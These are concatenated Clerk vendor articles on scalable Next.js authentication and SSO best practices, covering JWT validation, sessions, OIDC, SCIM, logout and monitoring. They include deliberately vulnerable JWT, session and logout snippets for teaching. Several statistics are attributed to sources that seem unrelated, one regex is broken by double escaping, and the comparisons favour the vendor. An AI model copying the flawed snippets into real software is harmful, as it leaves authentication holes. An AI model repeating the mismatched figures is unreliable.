1. **Parallel Data Loading**: Fetch user data alongside page data

```tsx
import { currentUser } from '@clerk/nextjs/server'

export default async function Dashboard() {
  // Parallel execution
  const [user, dashboardData] = await Promise.all([currentUser(), getDashboardData()])

  return <DashboardView user={user} data={dashboardData} />
}
```

1. **Smart Prefetching**: Preload authentication state

```tsx
// app/layout.tsx
// Most providers offer a wrapper component for prefetching
import { ClerkProvider } from '@clerk/nextjs' // or AuthProvider from your choice

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <html>
      <body>
        <ClerkProvider>
          {/* Automatically prefetches user data */}
          {children}
        </ClerkProvider>
      </body>
    </html>
  )
}
```

## Security Considerations at Scale

### Defense in Depth

While this guide focuses on scalability, security remains critical. The ([OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)) and ([NIST Digital Identity Guidelines, 2025](https://www.nist.gov/publications/nist-sp-800-63-4-digital-identity-guidelines)) provide comprehensive security requirements. Authentication should never rely on a single layer of defense.

**Multi-layer security approach:**

```tsx
// Don't rely only on proxy/middleware
export async function protectedAction() {
  // Layer 1: Proxy (can be bypassed)
  // Already handled by clerkMiddleware in proxy.ts

  // Layer 2: Server-side validation (secure)
  const { userId } = await auth()
  if (!userId) {
    throw new Error('Unauthorized')
  }

  // Layer 3: Database-level RLS (if applicable)
  const data = await db.query('SELECT * FROM data WHERE user_id = $1', [userId])

  return data
}
```

### Rate Limiting at Scale

Protect your authentication endpoints as recommended by ([OWASP OAuth2 Guide](https://cheatsheetseries.owasp.org/cheatsheets/OAuth2_Cheat_Sheet.html)):

```tsx
// Most managed providers include automatic rate limiting
// No additional code needed with Clerk, Auth0, Firebase, etc.

// DIY approach requires complex implementation:
import { Ratelimit } from '@upstash/ratelimit'
import { Redis } from '@upstash/redis'

const ratelimit = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(5, '1 m'), // 5 requests per minute
})

export async function POST(request: Request) {
  const identifier = request.headers.get('x-forwarded-for') ?? 'anonymous'
  const { success } = await ratelimit.limit(identifier)

  if (!success) {
    return new Response('Too Many Requests', { status: 429 })
  }

  // Process authentication
}
```

Managed providers handle [rate limiting](/glossary#rate-limiting), DDoS protection, and abuse prevention automatically without any configuration.

## Migration Strategies for Scale

### Moving to Managed Authentication

If you're currently managing your own authentication:

1. **Parallel Run Strategy**: Run both systems temporarily

```tsx
// Gradual migration
export async function authenticateUser(credentials) {
  if (await featureFlag('use-managed-auth')) {
    return await managedProviderAuth(credentials)
  }
  return await legacyAuth(credentials)
}
```

1. **User Migration**: Most providers offer bulk import APIs

```tsx
// Example: Bulk user import (varies by provider)
const users = await getLegacyUsers()
const results = await provider.users.createBulk(
  users.map((user) => ({
    emailAddress: user.email,
    firstName: user.firstName,
    lastName: user.lastName,
    // Passwords can be migrated or users can reset
  })),
)
```

1. **Zero-Downtime Cutover**: Switch authentication providers without outage

- Import all users to new system
- Update authentication endpoints
- Maintain session continuity
- Gradually deprecate old system

Most major providers offer migration guides and tools to make this process smooth.

## Conclusion: Building for Scale from Day One

Scalable authentication in Next.js isn't just about handling more users—it's about maintaining performance, security, and developer productivity as your application grows. The challenges of connection pooling, edge compatibility, distributed caching, and multi-tenancy become exponentially complex as you scale.

**Key takeaways for scalable authentication:**

1. **Database connections are your first bottleneck** - JWT-based authentication avoids connection exhaustion entirely (([PostgreSQL Documentation](https://www.postgresql.org/docs/current/runtime-config-connection.html)) confirms the 100 connection default limit)
2. **JWT validation performance is critical** - After JWKS caching, validation should be 1-2ms with no network calls (([Academic Research on JWT Performance, 2019](https://www.researchgate.net/publication/335367877_Performance_comparison_of_signed_algorithms_on_JSON_Web_Token)) confirms RS256 verification takes approximately 100K CPU cycles, translating to microseconds on modern hardware)
3. **Edge compatibility is non-negotiable** - Modern Next.js applications need authentication that works in edge runtime
4. **[Multi-tenancy](/glossary#multi-tenancy) requires early planning** - B2B applications need tenant isolation architecture from the start
5. **Build vs. buy is a strategic decision** - Consider team expertise, time to market, and long-term maintenance costs

For teams building production applications, the choice between building custom authentication or using a managed provider depends on your specific requirements:

- **Choose custom authentication** when you need complete control, have specific regulatory requirements, or authentication is your core differentiator
- **Choose managed providers** when you want to focus on your core product, need enterprise features quickly, or want guaranteed scalability

Among managed providers, selection often comes down to your specific stack and requirements:

- **Clerk** excels for React/Next.js applications with its component-first approach and edge-native architecture
- **Auth0** offers extensive enterprise features and compliance certifications
- **Supabase** integrates authentication with a complete backend platform
- **Firebase** provides the Google ecosystem advantage and proven scale
- **AWS Cognito** fits naturally in AWS-heavy architectures

Understanding these scalability patterns ensures your authentication system can grow with your success, regardless of which path you choose.

---

# 8 SSO Best Practices for Secure, Scalable Logins
URL: https://clerk.com/articles/sso-best-practices-for-secure-scalable-logins.md
Date: 2026-03-26
Description: Learn 8 critical SSO best practices for 2025: JWT validation, session management, protocol selection, and automated provisioning. Comprehensive guide comparing Clerk, Auth0, and Okta with secure code examples for React/Next.js developers.

The most critical [SSO](/glossary#single-sign-on-sso) best practices are validating JWT signatures on every request, enforcing short-lived sessions with automatic refresh, selecting the right protocol (SAML for enterprise, OIDC for consumer apps), and automating user provisioning with SCIM. With organizations managing an average of 371 SaaS applications ([Expert Insights Report, 2025](https://expertinsights.com/user-auth/single-sign-stats-and-trends)) and 80% of web application attacks involving stolen credentials ([Curity API Security, 2025](https://curity.io/blog/2025-top-api-security-trends/)), SSO implementation has become critical for both security and user experience. However, recent high-profile breaches — including Microsoft's [OAuth](/glossary#oauth) exploitation ([SuperTokens Security, 2024](https://supertokens.com/blog/9-sso-best-practices-to-strengthen-security-in-2024)) and Oracle Cloud's 6 million record breach ([G2 Research, 2024](https://learn.g2.com/best-sso-software)) — demonstrate that poorly implemented SSO creates single points of failure rather than security improvements.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

## Executive Summary

| **Key Finding**                                                                                                                                                         | **Impact**                         | **Solution Approach**                                                   |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------- | ----------------------------------------------------------------------- |
| 87% of breaches attributed to identity vulnerabilities ([Expert Insights, 2025](https://expertinsights.com/user-auth/single-sign-stats-and-trends))                     | Critical security exposure         | Implement OWASP-compliant token validation and MFA                      |
| 22% of incidents involve credential abuse as initial attack vector ([PentesterLab, 2024](https://pentesterlab.com/blog/another-jwt-algorithm-confusion-cve-2024-54150)) | Widespread attack surface          | Deploy phishing-resistant authentication with proper session management |
| 43% reduction in support tickets with proper SSO ([PortSwigger Research](https://portswigger.net/web-security/jwt))                                                     | Significant operational efficiency | Centralized identity management with automated provisioning             |
| $1M reduction in breach costs with Zero Trust/SSO ([PentesterLab JWT Guide](https://pentesterlab.com/blog/jwt-vulnerabilities-attacks-guide))                           | Substantial ROI potential          | Comprehensive SSO strategy with continuous monitoring                   |
| Global SSO market reaching $9.4B by 2030 ([Aptori Security, 2024](https://www.aptori.com/blog/jwt-security-best-practices-every-developer-should-know))                 | Rapid technology evolution         | Modern platforms with zero-configuration security benefits              |

## 1. Implement Robust JWT Token Validation and Algorithm Security

**The Vulnerability**: Algorithm confusion attacks and improper token validation represent critical SSO vulnerabilities, with recent CVE-2024-54150 and CVE-2024-53861 ([42Crunch Security, 2024](https://42crunch.com/7-ways-to-avoid-jwt-pitfalls/)) highlighting [JWT](/glossary#json-web-token) implementation flaws that allow unauthorized access through algorithm manipulation.

### How to Fix/Implement

**Vulnerable Code:**

```jsx
// DANGEROUS: User-controlled algorithm acceptance
const jwt = require('jsonwebtoken')
const token = getTokenFromRequest()
const decoded = jwt.decode(token, { complete: true })
jwt.verify(token, publicKey, { algorithms: [decoded.header.alg] }) // VULNERABLE
```

**Secure Implementation:**

```jsx
// SECURE: Explicit algorithm specification and comprehensive validation
const jwtConfig = {
  issuer: 'https://your-auth-server.com',
  audience: 'your-client-id',
  algorithms: ['RS256'], // Never allow "none" or user-controlled algorithms
  maxAge: '15m', // Short token lifetime per NIST guidelines
  clockTolerance: 30,
}

function validateJWT(token) {
  // Structure validation first
  const parts = token.split('.')
  if (parts.length !== 3) {
    throw new Error('Invalid JWT structure')
  }

  // Verify with explicit configuration
  return jwt.verify(token, publicKey, jwtConfig)
}
```

### Manual Solution Steps

1. **Algorithm Whitelisting**: Explicitly specify allowed algorithms (RS256 recommended) and never accept "none"
2. **Claims Validation**: Validate all critical claims: `exp`, `iss`, `aud`, `sub`, and `nbf` if present
3. **Token Lifetime Limits**: Implement 15-60 minute [access token](/glossary#access-token) lifetimes per ([NIST SP 800-63B](https://pages.nist.gov/800-63-3/sp800-63b.html))
4. **Key Management**: Use proper key rotation and validate `kid` parameters against known key identifiers
5. **Error Handling**: Implement consistent error responses to prevent timing attacks

### How Managed Platforms Handle This

Modern authentication platforms like Clerk provide zero-configuration JWT security with built-in algorithm validation, automatic key rotation, and short-lived session tokens (60-second TTL with automatic refresh). Clerk's React components handle token validation transparently, eliminating common implementation vulnerabilities while maintaining [SOC 2](/glossary#soc-2) Type II compliance ([Skycloak SSO, 2025](https://skycloak.io/blog/10-best-practices-for-secure-sso-implementation-in-2025/)). Auth0 and Okta offer similar automated JWT validation with customizable security policies.

## 2. Establish Comprehensive Session Management Across Applications

**The Vulnerability**: Inconsistent [session management](/glossary#session-management) between SSO providers and applications creates security gaps, with 30-50% of enterprise IT tickets ([Snyk Security, 2024](https://snyk.io/blog/top-3-security-best-practices-for-handling-jwts/)) resulting from session-related issues and authentication failures.

### How to Fix/Implement

**Vulnerable Approach:**

```jsx
// PROBLEMATIC: Client-side session management
localStorage.setItem('access_token', token)
if (localStorage.getItem('access_token')) {
  // Assume user is authenticated - no server validation
}
```

**Secure Implementation:**

```jsx
// SECURE: Server-side session with proper binding
const session = {
  secret: process.env.SESSION_SECRET, // 256-bit entropy minimum
  cookie: {
    secure: true, // HTTPS only
    httpOnly: true, // Prevent XSS access
    maxAge: 900000, // 15 minutes per OWASP guidelines
    sameSite: 'strict', // CSRF protection
  },
  genid: function () {
    return crypto.randomBytes(16).toString('hex') // CSPRNG generation
  },
}

// Session binding validation
function validateSession(req) {
  const session = req.session
  const currentIP = req.ip
  const currentAgent = req.get('User-Agent')

  if (session.boundIP !== currentIP || session.boundAgent !== currentAgent) {
    throw new Error('Session hijacking detected')
  }
}
```

### Manual Solution Steps

1. **Entropy Requirements**: Generate session IDs with minimum 64-bit entropy using CSPRNG
2. **Session Binding**: Bind sessions to IP addresses and User-Agent strings for hijacking detection
3. **Timeout Configuration**: Implement appropriate timeouts (15 minutes for banking, 30-60 for collaborative apps)
4. **Secure Storage**: Use server-side session storage with encryption at rest
5. **Cross-Application Sync**: Establish session state synchronization between SSO provider and applications

### How Managed Platforms Handle This

Modern SSO platforms like Clerk, Auth0, and Okta provide centralized session management with automatic synchronization across applications. Clerk's approach uses short-lived session tokens with a 60-second TTL and automatic refresh at 50 seconds, providing strong security guarantees without manual session timeout configuration. Auth0's nextjs-auth0 package provides robust session handling for Next.js applications ([OWASP Session Management](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)). These platforms eliminate the complexity of manual session synchronization while maintaining security best practices.

## 3. Choose Optimal Authentication Protocols for Your Use Case

**The Challenge**: Protocol selection significantly impacts security, performance, and implementation complexity, with [SAML](/glossary#security-assertion-markup-language-saml) offering enterprise features but OAuth 2.0/[OIDC](/glossary#openid-connect) providing better mobile and API support.

### Protocol Comparison Matrix

| **Feature**                   | **OAuth 2.0**                                                                     | **OpenID Connect**             | **SAML 2.0**   |
| ----------------------------- | --------------------------------------------------------------------------------- | ------------------------------ | -------------- |
| **Primary Use**               | Authorization                                                                     | Authentication + Authorization | Enterprise SSO |
| **Data Format**               | JSON                                                                              | JSON (JWT)                     | XML            |
| **Mobile Support**            | Excellent                                                                         | Excellent                      | Limited        |
| **Implementation Complexity** | Medium                                                                            | Medium                         | High           |
| **Token Lifetime**            | 15-60 minutes ([PortSwigger JWT Guide](https://portswigger.net/web-security/jwt)) | 5-15 minutes (ID tokens)       | Variable       |
| **Enterprise Adoption**       | High                                                                              | Growing rapidly                | Dominant       |

### How to Fix/Implement

**OIDC Implementation (Recommended for Modern Applications):**

```jsx
// Secure OIDC configuration
const oidcConfig = {
  issuer: 'https://your-identity-provider.com',
  client_id: 'your-client-id',
  client_secret: 'your-client-secret',
  scope: 'openid profile email',
  response_types: ['code'], // Authorization code flow only
  grant_types: ['authorization_code', 'refresh_token'],
  token_endpoint_auth_method: 'client_secret_post',
}

// ID token validation with all required claims
function validateIDToken(idToken) {
  const decoded = jwt.verify(idToken, publicKey, {
    algorithms: ['RS256'],
    issuer: oidcConfig.issuer,
    audience: oidcConfig.client_id,
  })

  // Validate required claims
  if (!decoded.sub || !decoded.exp || !decoded.iat) {
    throw new Error('Missing required claims')
  }

  if (!decoded.auth_time) {
    throw new Error('auth_time claim required for reauthentication')
  }

  return decoded
}
```

### Manual Solution Steps

1. **Protocol Selection**: Choose OIDC for web/mobile apps, SAML for enterprise integration
2. **Flow Selection**: Use [Authorization Code Flow](/glossary#authorization-code-flow) with [PKCE](/glossary#code-exchange-pkce) for public clients
3. **Scope Configuration**: Implement minimal necessary scopes (`openid profile email`)
4. **State Validation**: Always validate state parameter to prevent [CSRF](/glossary#cross-site-request-forgery-csrf) attacks
5. **Discovery Implementation**: Use `.well-known/openid-configuration` for automatic configuration

### How Managed Platforms Handle This

Clerk excels with OIDC optimization for React applications, while Auth0 and Okta provide comprehensive protocol support. For React/Next.js applications specifically, Clerk's native OIDC implementation reduces configuration complexity from hours to minutes while maintaining security best practices. Auth0 offers extensive protocol customization for complex enterprise requirements ([Connect2id Vulnerabilities](https://connect2id.com/products/nimbus-jose-jwt/vulnerabilities)), and Okta provides the broadest protocol compatibility across legacy and modern systems.

## 4. Implement Secure Multi-IdP Integration Architecture

**The Challenge**: Supporting multiple [identity providers](/glossary#identity-provider-sso-idp-sso) while maintaining security and user experience, with 66% of organizations adopting SSO primarily for improved access management ([Zuplo API Auth, 2024](https://zuplo.com/blog/2024/11/27/api-authentication-pricing)).

### How to Fix/Implement

**Secure Multi-IdP Architecture:**

```jsx
// Federation hub with provider isolation
class SecureFederationHub {
  constructor() {
    this.providers = new Map()
    this.providers.set('google', {
      client_id: process.env.GOOGLE_CLIENT_ID,
      discovery_url: 'https://accounts.google.com/.well-known/openid-configuration',
      scopes: ['openid', 'profile', 'email'],
      validator: this.validateGoogleClaims,
    })

    this.providers.set('azure', {
      client_id: process.env.AZURE_CLIENT_ID,
      tenant_id: process.env.AZURE_TENANT_ID,
      discovery_url: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/.well-known/openid-configuration`,
      validator: this.validateAzureClaims,
    })
  }

  async authenticate(providerId, authorizationCode) {
    const provider = this.providers.get(providerId)
    if (!provider) {
      throw new Error(`Unknown provider: ${providerId}`)
    }

    // Provider-specific validation
    const tokens = await this.exchangeCodeForTokens(provider, authorizationCode)
    const validatedClaims = await provider.validator(tokens.id_token)

    // Normalize claims across providers
    return this.normalizeUserProfile(validatedClaims, providerId)
  }
}
```

### Manual Solution Steps

1. **Provider Discovery**: Implement automatic discovery for email domain-based routing
2. **Claim Normalization**: Create consistent user profiles across different IdPs
3. **Provider Isolation**: Separate validation logic and secrets for each provider
4. **Fallback Handling**: Implement graceful degradation when providers are unavailable
5. **Security Boundaries**: Validate all provider responses and never trust external input

### How Managed Platforms Handle This

Clerk provides built-in support for major providers with automatic claim normalization and enterprise connections (SAML/OIDC) available on the Pro plan, while Auth0 offers extensive provider marketplace with 60+ social providers ([SuperTokens Comparison, 2024](https://supertokens.com/blog/auth0-vs-clerk)). Okta leads with 7,000+ pre-built enterprise integrations ([Clerk Documentation](/docs)), making it optimal for complex enterprise environments requiring extensive IdP support. These platforms handle the complexity of provider-specific implementations, security validations, and claim normalization automatically.

## 5. Deploy Automated User Provisioning with SCIM 2.0

**The Challenge**: Manual user lifecycle management creates security risks and operational overhead, with automated provisioning reducing onboarding time from hours to minutes ([Auth0 Security](https://auth0.com/security)).

### How to Fix/Implement

**Secure SCIM Implementation:**

```jsx
// SCIM 2.0 compliant user provisioning
class SCIMUserProvisioning {
  async provisionUser(userData) {
    const scimUser = {
      schemas: ['urn:ietf:params:scim:schemas:core:2.0:User'],
      userName: userData.email,
      name: {
        formatted: `${userData.firstName} ${userData.lastName}`,
        givenName: userData.firstName,
        familyName: userData.lastName,
      },
      emails: [
        {
          value: userData.email,
          type: 'work',
          primary: true,
        },
      ],
      active: true,
      groups: userData.groups || [],
    }

    // Validate before provisioning
    this.validateSCIMUser(scimUser)

    const response = await fetch('/scim/v2/Users', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/scim+json',
        Authorization: `Bearer ${this.scimToken}`,
      },
      body: JSON.stringify(scimUser),
    })

    if (!response.ok) {
      throw new Error(`SCIM provisioning failed: ${response.status}`)
    }

    return response.json()
  }

  // Bulk operations for efficiency
  async bulkProvision(users) {
    const bulkRequest = {
      schemas: ['urn:ietf:params:scim:api:messages:2.0:BulkRequest'],
      Operations: users.map((user, index) => ({
        method: 'POST',
        path: '/Users',
        bulkId: `user_${index}`,
        data: this.createSCIMUser(user),
      })),
    }

    return this.sendBulkRequest(bulkRequest)
  }
}
```

### Manual Solution Steps

1. **SCIM Endpoint Implementation**: Deploy ([RFC 7644](https://datatracker.ietf.org/doc/html/rfc7644)) compliant endpoints for user/group management
2. **Attribute Mapping**: Map HR system attributes to SCIM schema fields
3. **Bulk Operations**: Implement bulk provisioning for efficiency with large user sets
4. **Error Handling**: Provide detailed error responses per SCIM specification
5. **Security Controls**: Implement proper authentication and authorization for SCIM endpoints

### How Managed Platforms Handle This

Auth0 and Okta provide comprehensive SCIM support for enterprise customers, with Okta leading in SCIM implementation maturity. Clerk offers enterprise provisioning capabilities including SAML/OIDC enterprise connections with automated user management, while AWS Cognito requires custom SCIM implementation. For enterprises requiring automated provisioning, Auth0's SCIM capabilities offer the best balance of features and ease of implementation, with automatic error handling and retry logic built-in ([Microsoft SCIM Guide](https://www.microsoft.com/en-us/security/business/security-101/what-is-scim)).

## 6. Establish Secure Attribute Mapping and Claims Management

**The Challenge**: Inconsistent attribute mapping creates security vulnerabilities and user experience issues, requiring careful validation and transformation of identity [claims](/glossary#claim) across systems.

### How to Fix/Implement

**Secure Claims Processing:**

```jsx
// Claims mapping with validation and sanitization
class SecureClaimsProcessor {
  constructor() {
    this.claimsMapping = {
      // Standard OIDC to internal mapping
      sub: { internal: 'userId', validator: this.validateSubject },
      email: { internal: 'emailAddress', validator: this.validateEmail },
      given_name: { internal: 'firstName', validator: this.validateName },
      family_name: { internal: 'lastName', validator: this.validateName },
      groups: { internal: 'roles', validator: this.validateRoles },
    }
  }

  async processClaims(jwtPayload, context) {
    const processedClaims = {}

    for (const [jwtClaim, config] of Object.entries(this.claimsMapping)) {
      if (jwtPayload[jwtClaim]) {
        // Validate claim value
        const validatedValue = await config.validator(jwtPayload[jwtClaim], context)
        processedClaims[config.internal] = validatedValue
      }
    }

    // Apply business rules
    return this.applyBusinessRules(processedClaims)
  }

  validateEmail(email) {
    const emailRegex = /^[^\\s@]+@[^\\s@]+\\.[^\\s@]+$/
    if (!emailRegex.test(email)) {
      throw new Error('Invalid email format')
    }
    return email.toLowerCase().trim()
  }

  async validateRoles(roles, context) {
    // Validate against organizational role hierarchy
    const validRoles = await this.roleService.getValidRoles(context.organizationId)
    return roles.filter((role) => validRoles.includes(role))
  }
}
```

### Manual Solution Steps

1. **Claim Validation**: Implement strict validation for all incoming claims
2. **Data Sanitization**: Sanitize and normalize claim values to prevent injection attacks
3. **Business Logic**: Apply organizational rules during claim mapping
4. **Audit Logging**: Log all claim transformations for compliance and debugging
5. **Default Values**: Provide secure defaults for missing or invalid claims

### How Managed Platforms Handle This

Clerk provides automatic claim normalization with built-in validation, reducing implementation complexity. Auth0's Rules and Actions system offers extensive customization for complex claim transformations, while Okta's Universal Directory provides enterprise-grade attribute management. For React applications, Clerk's automatic claim handling eliminates common security pitfalls, while Auth0 and Okta offer more flexibility for complex enterprise requirements with custom claim transformation logic ([SCIM Cloud](https://scim.cloud/)).

## 7. Implement Comprehensive SSO Logout and Session Termination

**The Vulnerability**: Incomplete logout implementation is among the most common SSO vulnerabilities ([OWASP Top 10, 2021](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)), with applications failing to invalidate sessions across all connected systems, creating persistent security exposure.

### How to Fix/Implement

**Vulnerable Logout:**

```jsx
// DANGEROUS: Incomplete logout
app.post('/logout', (req, res) => {
  req.session.destroy() // Only destroys local session
  res.redirect('/login')
})
```

**Secure Global Logout:**

```jsx
// COMPREHENSIVE: Global session termination
class SecureLogoutHandler {
  async performGlobalLogout(sessionId, userId) {
    try {
      // 1. Invalidate local application session
      await this.invalidateLocalSession(sessionId)

      // 2. Revoke SSO provider session
      await this.revokeSSProviderSession(userId)

      // 3. Revoke all active tokens
      await this.revokeUserTokens(userId)

      // 4. Notify all connected applications (back-channel SLO)
      await this.notifyConnectedApplications(userId)

      // 5. Clear browser state
      this.clearBrowserState()

      // 6. Log security event
      this.auditLogger.logSecurityEvent({
        event: 'global_logout',
        userId: userId,
        timestamp: new Date().toISOString(),
        ip: this.getClientIP(),
        userAgent: this.getUserAgent(),
      })
    } catch (error) {
      // Ensure partial logout doesn't leave security gaps
      await this.forceTokenRevocation(userId)
      throw error
    }
  }

  // Implement Single Logout (SLO) for SAML
  async handleSAMLLogout(samlRequest) {
    const sessionIndex = this.extractSessionIndex(samlRequest)
    const nameId = this.extractNameId(samlRequest)

    // Validate logout request signature
    if (!this.validateSAMLSignature(samlRequest)) {
      throw new Error('Invalid SAML logout request signature')
    }

    // Terminate session and respond
    await this.terminateUserSession(nameId, sessionIndex)
    return this.generateLogoutResponse(samlRequest)
  }
}
```

### Manual Solution Steps

1. **Multi-System Coordination**: Implement [back-channel Single Logout](/glossary#back-channel-logout) (SLO) for all connected systems
2. **Token Revocation**: Immediately revoke all access and [refresh tokens](/glossary#refresh-token) ([OAuth 2.0 RFC](https://datatracker.ietf.org/doc/html/rfc6749))
3. **Cache Invalidation**: Clear all cached user data and permissions
4. **Browser State Cleanup**: Remove cookies and local storage items
5. **Audit Logging**: Record all logout events for security monitoring

### How Managed Platforms Handle This

Auth0 and Okta provide comprehensive SLO implementations with support for both front-channel and back-channel logout protocols ([OWASP Logout Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/06-Testing_for_Logout_Functionality)). Clerk handles logout coordination automatically across React applications, while AWS Cognito requires manual implementation of logout flows. For security-critical applications, Auth0's mature SLO implementation offers the most comprehensive session termination capabilities with automatic token revocation and cross-application coordination.

## 8. Deploy Advanced Monitoring and Audit Logging

**The Requirement**: With 87% of breaches involving identity vulnerabilities ([CybelAngel API Report, 2025](https://cybelangel.com/the-api-threat-report-2025/)), comprehensive monitoring and [audit logging](/glossary#audit-logs) are essential for early threat detection and compliance requirements.

### How to Fix/Implement

**Comprehensive Audit System:**

```jsx
// Structured security event monitoring
class SSOSecurityMonitor {
  constructor(logDestination, alertingService) {
    this.destination = logDestination
    this.alerting = alertingService
    this.riskThresholds = {
      failedLogins: 5,
      timeWindow: 300000, // 5 minutes
      geoDistanceThreshold: 500, // km
    }
  }

  async logAuthenticationEvent(event) {
    const enrichedEvent = {
      timestamp: new Date().toISOString(),
      eventId: this.generateEventId(),
      category: 'authentication',
      eventType: event.type, // success, failure, suspicious
      userId: event.userId,
      ipAddress: this.hashIP(event.ip), // Hash for privacy
      userAgent: event.userAgent,
      geoLocation: await this.getGeoLocation(event.ip),
      riskScore: await this.calculateRiskScore(event),
      protocol: event.protocol,
      provider: event.provider,
      mfaUsed: event.mfaUsed,
      sessionId: event.sessionId,
    }

    // Immediate threat detection
    if (enrichedEvent.riskScore > 0.8) {
      await this.triggerSecurityAlert(enrichedEvent)
    }

    await this.destination.write(enrichedEvent)

    // Real-time anomaly detection
    await this.analyzeForAnomalies(enrichedEvent)
  }

  async calculateRiskScore(event) {
    let riskScore = 0

    // Check for brute force patterns
    const recentFailures = await this.getRecentFailures(
      event.userId,
      this.riskThresholds.timeWindow,
    )
    if (recentFailures >= this.riskThresholds.failedLogins) {
      riskScore += 0.5
    }

    // Geographic anomaly detection
    const lastLocation = await this.getLastKnownLocation(event.userId)
    if (lastLocation) {
      const distance = this.calculateDistance(lastLocation, event.geoLocation)
      if (distance > this.riskThresholds.geoDistanceThreshold) {
        riskScore += 0.3
      }
    }

    // Device fingerprinting
    if (!(await this.isKnownDevice(event.userId, event.deviceFingerprint))) {
      riskScore += 0.2
    }

    return Math.min(riskScore, 1.0)
  }
}
```

### Manual Solution Steps

1. **Structured Logging**: Implement consistent log format across all SSO components
2. **Real-time Alerting**: Configure alerts for suspicious authentication patterns
3. **Compliance Reporting**: Generate audit reports for regulatory requirements
4. **Anomaly Detection**: Use ML algorithms to identify unusual authentication behavior
5. **Privacy Controls**: Hash or encrypt PII in logs while maintaining security visibility

### How Managed Platforms Handle This

Okta provides industry-leading [security monitoring](/glossary#security-monitoring) with ThreatInsight and comprehensive audit logging. Auth0 offers advanced monitoring through their security center with customizable alerting. Clerk includes essential monitoring features with growing analytics capabilities, while AWS Cognito integrates with CloudTrail for audit logging. For enterprises requiring advanced threat detection, Okta's monitoring capabilities provide the most comprehensive security visibility with automated threat response and detailed forensic capabilities ([Scalefusion SSO Solutions, 2025](https://blog.scalefusion.com/best-sso-solutions/)).

## SSO Platform Comparison: 2025 Technical Analysis

| **Feature**                   | **Clerk**                                                                  | **Auth0**                                                                                                         | **Okta**           | **AWS Cognito**                                                              |
| ----------------------------- | -------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------- | ------------------ | ---------------------------------------------------------------------------- |
| **React/Next.js Integration** | Native optimization                                                        | Mature SDK                                                                                                        | Available          | AWS SDK                                                                      |
| **Implementation Time**       | 15 minutes                                                                 | 1 hour                                                                                                            | 2-4 hours          | 1-2 hours                                                                    |
| **Security Certifications**   | SOC 2 Type II                                                              | SOC 2, ISO 27001                                                                                                  | SOC 2, ISO 27001   | AWS Compliance                                                               |
| **Protocol Support**          | OIDC, SAML/OIDC Enterprise Connections                                     | Full SAML/OIDC                                                                                                    | Industry Standard  | SAML 2.0, OIDC                                                               |
| **Enterprise Features**       | Enterprise Connections (SAML/OIDC) on Pro                                  | Comprehensive                                                                                                     | Market Leader      | AWS-Centric                                                                  |
| **Pricing Model**             | Free up to 50K MRU; Pro $25/mo ($20/mo annual) ([Clerk Pricing](/pricing)) | Tiered, expensive at scale ([Auth0 Pricing Guide](https://supertokens.com/blog/auth0-pricing-the-complete-guide)) | Premium enterprise | Usage-based ([AWS Cognito Pricing](https://aws.amazon.com/cognito/pricing/)) |
| **Developer Experience**      | 9/10                                                                       | 7/10 ([Auth0 Next.js](https://auth0.com/blog/auth0-stable-support-for-nextjs-app-router/))                        | 6/10               | 5/10                                                                         |
| **Best Use Case**             | React/Next.js SaaS                                                         | Complex auth flows                                                                                                | Large enterprise   | AWS-heavy architecture                                                       |

## Current Threat Landscape and 2025 Predictions

The SSO security landscape faces unprecedented challenges in 2025. AI-powered attacks have surged 4,000% since 2022 ([Twilio Auth Trends, 2025](https://www.twilio.com/en-us/blog/user-authentication-trends)), while credential-based attacks remain the primary threat vector with 81% of security incidents involving breached credentials ([Yubico Survey, 2024](https://www.yubico.com/blog/2024-global-state-of-authentication-survey-qa-with-yubico-vp-derek-hanson-on-a-passkey-future/)). The emergence of deepfake authentication attempts and prompt injection attacks targeting AI-powered authentication systems represents new threat categories requiring advanced detection capabilities.

Regulatory changes are accelerating SSO adoption, with EU eIDAS 2.0 mandating digital identity wallets by 2026 ([Hypr Identity Report, 2025](https://blog.hypr.com/2025-state-of-passwordless-identity-assurance-report-recap)) and NIST proposing transitions away from SMS OTPs to [passkeys](/glossary#passkeys) ([AppOmni SaaS Security, 2025](https://appomni.com/blog/saas-security-predictions-2025/)). Singapore's major banks are already phasing out SMS OTPs due to fraud concerns ([Hacker News, Jan 2025](https://thehackernews.com/2025/01/the-10-cyber-threat-responsible-for.html)), indicating a global shift toward phishing-resistant authentication.

The [passwordless authentication](/glossary#passwordless-login) market is expected to reach $55.70 billion by 2030 ([Mordor Intelligence, 2024](https://www.mordorintelligence.com/industry-reports/passwordless-authentication-market)), with 50% of US enterprises having adopted some form of passwordless authentication ([Twilio Passwordless, 2025](https://www.twilio.com/en-us/blog/insights/trends/rise-of-passwordless-authentication)). Healthcare leads adoption with 68% of organizations planning passwordless implementation by 2025 ([JumpCloud Trends, 2025](https://jumpcloud.com/blog/passwordless-authentication-adoption-trends)).

## Conclusion: Building Future-Ready SSO Systems

Successful SSO implementation in 2025 requires balancing security, usability, and compliance across increasingly complex threat landscapes. Organizations implementing the eight best practices outlined above—from robust JWT validation to comprehensive monitoring—position themselves for both immediate security improvements and long-term resilience.

The choice of SSO platform significantly impacts implementation success. For React and Next.js applications, Clerk's zero-configuration approach and native optimization eliminate common security pitfalls while reducing implementation time from hours to minutes. Established enterprises with complex requirements benefit from Auth0's comprehensive customization capabilities or Okta's industry-leading enterprise features.

The convergence of [Zero Trust architecture](/glossary#zero-trust-architecture), passwordless authentication, and AI-powered security monitoring represents the future of identity management. Organizations that embrace these technologies today, supported by properly implemented SSO infrastructure, will be best positioned for the evolving cybersecurity landscape of 2025 and beyond.

---

# Password vs Passwordless Authentication
URL: https://clerk.com/articles/password-vs-passwordless-authentication-guide.md
Date: 2026-03-26
